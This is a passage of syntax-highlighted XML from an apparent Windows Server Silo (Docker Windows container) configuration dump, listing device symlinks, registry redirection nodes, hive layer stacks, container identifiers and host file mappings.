<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Nsi"</span> <span class="na">path=</span><span class="s">"\Device\Nsi"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"fsWrap"</span> <span class="na">path=</span><span class="s">"\Device\FsWrap"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"NDIS"</span> <span class="na">path=</span><span class="s">"\Device\Ndis"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"TermInptCDO"</span> <span class="na">path=</span><span class="s">"\Device\TermInptCDO"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"></objdir></span>
<span class="nt"><objdir</span> <span class="na">name=</span><span class="s">"Device"</span> <span class="na">clonesd=</span><span class="s">"\Device"</span><span class="nt">></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Afd"</span> <span class="na">path=</span><span class="s">"\Device\Afd"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"ahcache"</span> <span class="na">path=</span><span class="s">"\Device\ahcache"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"CNG"</span> <span class="na">path=</span><span class="s">"\Device\CNG"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"ConDrv"</span> <span class="na">path=</span><span class="s">"\Device\ConDrv"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"DeviceApi"</span> <span class="na">path=</span><span class="s">"\Device\DeviceApi"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"DfsClient"</span> <span class="na">path=</span><span class="s">"\Device\DfsClient"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"DxgKrnl"</span> <span class="na">path=</span><span class="s">"\Device\DxgKrnl"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"FsWrap"</span> <span class="na">path=</span><span class="s">"\Device\FsWrap"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Ip"</span> <span class="na">path=</span><span class="s">"\Device\Ip"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Ip6"</span> <span class="na">path=</span><span class="s">"\Device\Ip6"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"KsecDD"</span> <span class="na">path=</span><span class="s">"\Device\KsecDD"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"LanmanDatagramReceiver"</span> <span class="na">path=</span><span class="s">"\Device\LanmanDatagramReceiver"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"LanmanRedirector"</span> <span class="na">path=</span><span class="s">"\Device\LanmanRedirector"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"MailslotRedirector"</span> <span class="na">path=</span><span class="s">"\Device\MailslotRedirector"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Mup"</span> <span class="na">path=</span><span class="s">"\Device\Mup"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Ndis"</span> <span class="na">path=</span><span class="s">"\Device\Ndis"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Nsi"</span> <span class="na">path=</span><span class="s">"\Device\Nsi"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Null"</span> <span class="na">path=</span><span class="s">"\Device\Null"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"PcwDrv"</span> <span class="na">path=</span><span class="s">"\Device\PcwDrv"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"RawIp"</span> <span class="na">path=</span><span class="s">"\Device\RawIp"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"RawIp6"</span> <span class="na">path=</span><span class="s">"\Device\RawIp6"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Tcp"</span> <span class="na">path=</span><span class="s">"\Device\Tcp"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Tcp6"</span> <span class="na">path=</span><span class="s">"\Device\Tcp6"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Tdx"</span> <span class="na">path=</span><span class="s">"\Device\Tdx"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Udp"</span> <span class="na">path=</span><span class="s">"\Device\Udp"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Udp6"</span> <span class="na">path=</span><span class="s">"\Device\Udp6"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"VolumesSafeForWriteAccess"</span> <span class="na">path=</span><span class="s">"\Device\VolumesSafeForWriteAccess"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"VRegDriver"</span> <span class="na">path=</span><span class="s">"\Device\VRegDriver"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"WMIDataDevice"</span> <span class="na">path=</span><span class="s">"\Device\WMIDataDevice"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"TermInptCDO"</span> <span class="na">path=</span><span class="s">"\Device\TermInptCDO"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"RdpVideoMiniport0"</span> <span class="na">path=</span><span class="s">"\Device\RdpVideoMiniport0"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"VhdHardDisk{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}"</span> <span class="na">path=</span><span class="s">"\Device\VhdHardDisk{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"></objdir></span>
<span class="nt"><objdir</span> <span class="na">name=</span><span class="s">"UMDFCommunicationPorts"</span> <span class="na">clonesd=</span><span class="s">"\UMDFCommunicationPorts"</span> <span class="nt">/></span>
<span class="nt"><objdir</span> <span class="na">name=</span><span class="s">"ContainerMappedDirectories"</span> <span class="nt">/></span>
<span class="nt"></ob></span>
<span class="nt"><registry></span>
<span class="nt"><symlink</span> <span class="na">key=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Security\SAM"</span> <span class="na">target=</span><span class="s">"\Registry\Machine\SAM\SAM"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">key=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566User\S-1-5-18"</span> <span class="na">target=</span><span class="s">"\Registry\User\.Default"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">key=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566System\CurrentControlSet"</span> <span class="na">target=</span><span class="s">"\Registry\Machine\SYSTEM\ControlSet001"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">key=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566System\ControlSet001\Hardware Profiles\Current"</span> <span class="na">target=</span><span class="s">"\Registry\Machine\System\ControlSet001\Hardware Profiles\0001"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry"</span> <span class="na">hostpath=</span><span class="s">"\Registry"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Machine"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\Hardware"</span> <span class="na">hostpath=</span><span class="s">"\Registry\MACHINE\Hardware"</span> <span class="na">access_mask=</span><span class="s">"2197946393"</span> <span class="na">trustedhive=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\HARDWARE\DEVICEMAP"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Machine\HARDWARE\DEVICEMAP"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\SOFTWARE"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Software"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="na">trustedhive=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\SYSTEM"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566System"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="na">trustedhive=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\SYSTEM\ControlSet001\Control\Nsi"</span> <span class="na">hostpath=</span><span class="s">"\Registry\MACHINE\SYSTEM\ControlSet001\Control\Nsi"</span> <span class="na">access_mask=</span><span class="s">"2197946393"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation"</span> <span class="na">hostpath=</span><span class="s">"\Registry\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation"</span> <span class="na">access_mask=</span><span class="s">"2197946393"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\SAM"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Sam"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="na">trustedhive=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\MACHINE\Security"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Security"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="na">trustedhive=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\USER"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566User"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="nt">/></span>
<span class="nt"><redirectionnode</span> <span class="na">containerpath=</span><span class="s">"\Registry\USER\.DEFAULT"</span> <span class="na">hostpath=</span><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566DefaultUser"</span> <span class="na">access_mask=</span><span class="s">"4294967295"</span> <span class="nt">/></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"machine"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\Windows\system32\containers\machine_user"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"security"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\ProgramData\Docker\windowsfilter\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e\Hives\security_Base"</span> <span class="na">identifier=</span><span class="s">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">immutable=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}\WcSandboxState\Hives\security_Delta"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">inherittrustclass=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><delkey</span> <span class="na">name=</span><span class="s">"CCGPolicy"</span> <span class="nt">/></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"system"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\ProgramData\Docker\windowsfilter\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e\Hives\system_Base"</span> <span class="na">identifier=</span><span class="s">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">immutable=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}\WcSandboxState\Hives\system_Delta"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">inherittrustclass=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Control"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ComputerName"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ComputerName"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"ComputerName"</span> <span class="na">data_string=</span><span class="s">"BA657E2B9E11"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Services"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Tcpip"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Parameters"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"NV HostName"</span> <span class="na">data_string=</span><span class="s">"ba657e2b9e11"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Services"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Tcpip"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Parameters"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"AllowUnqualifiedQuery"</span> <span class="na">data_dword=</span><span class="s">"1"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Services"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Dnscache"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Parameters"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"ServerPriorityTimeLimit"</span> <span class="na">data_dword=</span><span class="s">"0"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Control"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"ContainerType"</span> <span class="na">data_dword=</span><span class="s">"1"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"ControlSet001"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Control"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"ContainerId"</span> <span class="na">data_string=</span><span class="s">"0F2C1D6D-4449-5E97-825E-109616BCBCBD"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><delkey</span> <span class="na">name=</span><span class="s">"ControlSet001\Services\CCG"</span> <span class="nt">/></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"software"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\ProgramData\Docker\windowsfilter\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e\Hives\software_Base"</span> <span class="na">identifier=</span><span class="s">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">immutable=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}\WcSandboxState\Hives\software_Delta"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">inherittrustclass=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Microsoft"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"SQMClient"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"MachineId"</span> <span class="na">data_string=</span><span class="s">"{0F2C1D6D-4449-5E97-825E-109616BCBCBD}"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Microsoft"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Windows NT"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"CurrentVersion"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Virtualization"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"HvSocket"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Addresses"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"LocalAddress"</span> <span class="na">data_string=</span><span class="s">"{0F2C1D6D-4449-5E97-825E-109616BCBCBD}"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Microsoft"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Windows NT"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"CurrentVersion"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Virtualization"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"HvSocket"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Addresses"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"ParentAddress"</span> <span class="na">data_string=</span><span class="s">"{894cc2d6-9d79-424f-93fe-42969ae6d8d1}"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Microsoft"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Windows NT"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"CurrentVersion"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Virtualization"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"HvSocket"</span><span class="nt">></span>
<span class="nt"><mkkey</span> <span class="na">name=</span><span class="s">"Addresses"</span><span class="nt">></span>
<span class="nt"><mkvalue</span> <span class="na">name=</span><span class="s">"SiloHostAddress"</span> <span class="na">data_string=</span><span class="s">"{894cc2d6-9d79-424f-93fe-42969ae6d8d1}"</span> <span class="nt">/></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></mkkey></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"sam"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\ProgramData\Docker\windowsfilter\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e\Hives\sam_Base"</span> <span class="na">identifier=</span><span class="s">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">immutable=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}\WcSandboxState\Hives\sam_Delta"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">inherittrustclass=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"user"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\Windows\system32\containers\machine_user"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">trustedhive=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"></hivestack></span>
<span class="nt"><hivestack</span> <span class="na">hive=</span><span class="s">"defaultuser"</span><span class="nt">></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\C:\ProgramData\Docker\windowsfilter\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e\Hives\defaultuser_Base"</span> <span class="na">identifier=</span><span class="s">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span> <span class="na">readonly=</span><span class="s">"true"</span> <span class="na">immutable=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"><layer</span> <span class="na">filepath=</span><span class="s">"\??\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}\WcSandboxState\Hives\defaultuser_Delta"</span> <span class="na">identifier=</span><span class="s">"8cc2d900-274d-11ee-9647-d2e71108c566"</span> <span class="na">inherittrustclass=</span><span class="s">"true"</span><span class="nt">></span>
<span class="nt"><fileaccesstoken></span>0<span class="nt"></fileaccesstoken></span>
<span class="nt"></layer></span>
<span class="nt"></hivestack></span>
<span class="nt"></registry></span>
<span class="nt"><network</span> <span class="na">compartment=</span><span class="s">"\Container_ba657e2b9e110cbbff75d0bc9ac2b2e90e4f4517583fa9141d5b7658b208119f"</span> <span class="nt">/></span>
<span class="nt"><hostfiles</span> <span class="na">base_image_path=</span><span class="s">"C:\ProgramData\Docker\windowsfilter\b7267716533544c86c859ca4105d0e29bc7e6a495e131f89d9aa5a0303585b78"</span> <span class="na">sandbox_path=</span><span class="s">"\\?\Volume{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}"</span><span class="nt">></span>
<span class="nt"><file></span>System32\ntdll.dll<span class="nt"></file></span>
<span class="nt"><file></span>System32\verifier.dll<span class="nt"></file></span>
<span class="nt"><file></span>System32\wow64.dll<span class="nt"></file></span>
